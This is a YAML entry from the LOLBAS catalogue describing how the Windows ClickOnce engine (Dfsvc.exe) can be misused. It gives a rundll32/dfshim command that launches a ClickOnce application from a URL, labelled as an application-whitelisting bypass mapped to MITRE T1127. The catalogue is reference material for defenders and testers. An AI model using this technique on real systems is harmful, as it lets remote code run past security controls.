LOLBAS/yml/OSBinaries/Dfsvc.yml

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---
Name: Dfsvc.exe
Description: ClickOnce engine in Windows used by .NET
Author: 'Oddvar Moe'
Created: 2018-05-25
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Commands:
- Command: rundll32.exe dfshim.dll,ShOpenVerbApplication http://www.domain.com/application/?param1=foo
Description: Executes click-once-application from Url
Usecase: Use binary to bypass Application whitelisting
Category: AWL bypass
Privileges: User
MitreID: T1127
MitreLink: https://attack.mitre.org/wiki/Technique/T1127
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Full_Path:
- Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\Dfsvc.exe
- Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Dfsvc.exe
- Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Dfsvc.exe
- Path: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Dfsvc.exe
Code_Sample:
- Code:
Detection:
- IOC:
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Resources:
- Link: https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf
- Link: https://stackoverflow.com/questions/13312273/clickonce-runtime-dfsvc-exe
Acknowledgement:
- Person: Casey Smith
Handle: '@subtee'
---